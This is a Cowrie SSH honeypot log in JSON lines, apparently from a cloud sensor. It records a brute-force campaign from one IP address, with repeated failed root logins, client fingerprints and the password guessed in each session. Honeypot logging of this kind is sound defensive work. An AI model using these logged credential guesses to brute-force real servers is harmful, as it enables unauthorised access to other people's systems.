{"eventid":"cowrie.login.failed","username":"root","password":"Yhsj_Bz@2022","message":"login attempt [root/Yhsj_Bz@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:31.293407Z","src_ip":"60.165.124.241","session":"5e334d699220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:32.532525Z","src_ip":"60.165.124.241","session":"5e334d699220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48300,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ca949bf2cd","protocol":"ssh","message":"New connection: 60.165.124.241:48300 (10.17.0.5:22) [session: 47ca949bf2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:32.765054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:32.769632Z","src_ip":"60.165.124.241","session":"47ca949bf2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:33.008486Z","src_ip":"60.165.124.241","session":"47ca949bf2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@2025","message":"login attempt [root/Huawei@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:33.723242Z","src_ip":"60.165.124.241","session":"47ca949bf2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:34.966453Z","src_ip":"60.165.124.241","session":"47ca949bf2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51516,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c239dcf3e87","protocol":"ssh","message":"New connection: 60.165.124.241:51516 (10.17.0.5:22) [session: 2c239dcf3e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:35.199876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:35.204723Z","src_ip":"60.165.124.241","session":"2c239dcf3e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:35.443316Z","src_ip":"60.165.124.241","session":"2c239dcf3e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hassan@@","message":"login attempt [root/Hassan@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:36.165569Z","src_ip":"60.165.124.241","session":"2c239dcf3e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:37.419086Z","src_ip":"60.165.124.241","session":"2c239dcf3e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54664,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c0845821f1","protocol":"ssh","message":"New connection: 60.165.124.241:54664 (10.17.0.5:22) [session: 27c0845821f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:37.654648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:37.659235Z","src_ip":"60.165.124.241","session":"27c0845821f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:37.901190Z","src_ip":"60.165.124.241","session":"27c0845821f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsX","message":"login attempt [root/1qaz2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:38.637985Z","src_ip":"60.165.124.241","session":"27c0845821f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:39.892361Z","src_ip":"60.165.124.241","session":"27c0845821f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57814,"dst_ip":"10.17.0.5","dst_port":22,"session":"29240af38e6b","protocol":"ssh","message":"New connection: 60.165.124.241:57814 (10.17.0.5:22) [session: 29240af38e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:40.174104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:40.178627Z","src_ip":"60.165.124.241","session":"29240af38e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:40.433241Z","src_ip":"60.165.124.241","session":"29240af38e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssWord123","message":"login attempt [root/P@ssWord123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:41.230992Z","src_ip":"60.165.124.241","session":"29240af38e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:42.504366Z","src_ip":"60.165.124.241","session":"29240af38e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33076,"dst_ip":"10.17.0.5","dst_port":22,"session":"670636beeb9d","protocol":"ssh","message":"New connection: 60.165.124.241:33076 (10.17.0.5:22) [session: 670636beeb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:42.730176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:42.734629Z","src_ip":"60.165.124.241","session":"670636beeb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:42.972480Z","src_ip":"60.165.124.241","session":"670636beeb9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159263","message":"login attempt [root/159263] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:43.695608Z","src_ip":"60.165.124.241","session":"670636beeb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:44.935527Z","src_ip":"60.165.124.241","session":"670636beeb9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35948,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5475d91a2c","protocol":"ssh","message":"New connection: 60.165.124.241:35948 (10.17.0.5:22) [session: fd5475d91a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:45.172861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:45.178016Z","src_ip":"60.165.124.241","session":"fd5475d91a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:45.422639Z","src_ip":"60.165.124.241","session":"fd5475d91a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:46.182121Z","src_ip":"60.165.124.241","session":"fd5475d91a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47842,"dst_ip":"159.203.135.109","dst_port":22,"session":"916f79fbfb11","protocol":"ssh","message":"New connection: 2.57.122.208:47842 (159.203.135.109:22) [session: 916f79fbfb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:46.559871Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:46.671221Z","src_ip":"2.57.122.208","session":"916f79fbfb11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:47.422478Z","src_ip":"60.165.124.241","session":"fd5475d91a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39504,"dst_ip":"10.17.0.5","dst_port":22,"session":"b415cf805426","protocol":"ssh","message":"New connection: 60.165.124.241:39504 (10.17.0.5:22) [session: b415cf805426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:47.675724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:47.680282Z","src_ip":"60.165.124.241","session":"b415cf805426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:47.927523Z","src_ip":"60.165.124.241","session":"b415cf805426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pw123456","message":"login attempt [root/Pw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:48.674396Z","src_ip":"60.165.124.241","session":"b415cf805426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:49.924680Z","src_ip":"60.165.124.241","session":"b415cf805426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42584,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebb009a96b2","protocol":"ssh","message":"New connection: 60.165.124.241:42584 (10.17.0.5:22) [session: eebb009a96b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:50.168759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:50.172964Z","src_ip":"60.165.124.241","session":"eebb009a96b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:50.423442Z","src_ip":"60.165.124.241","session":"eebb009a96b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhong123","message":"login attempt [root/Zhong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:51.171764Z","src_ip":"60.165.124.241","session":"eebb009a96b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:52.422151Z","src_ip":"60.165.124.241","session":"eebb009a96b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45646,"dst_ip":"10.17.0.5","dst_port":22,"session":"311ec2433183","protocol":"ssh","message":"New connection: 60.165.124.241:45646 (10.17.0.5:22) [session: 311ec2433183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:52.645352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:52.649080Z","src_ip":"60.165.124.241","session":"311ec2433183","protocol":"ssh"}
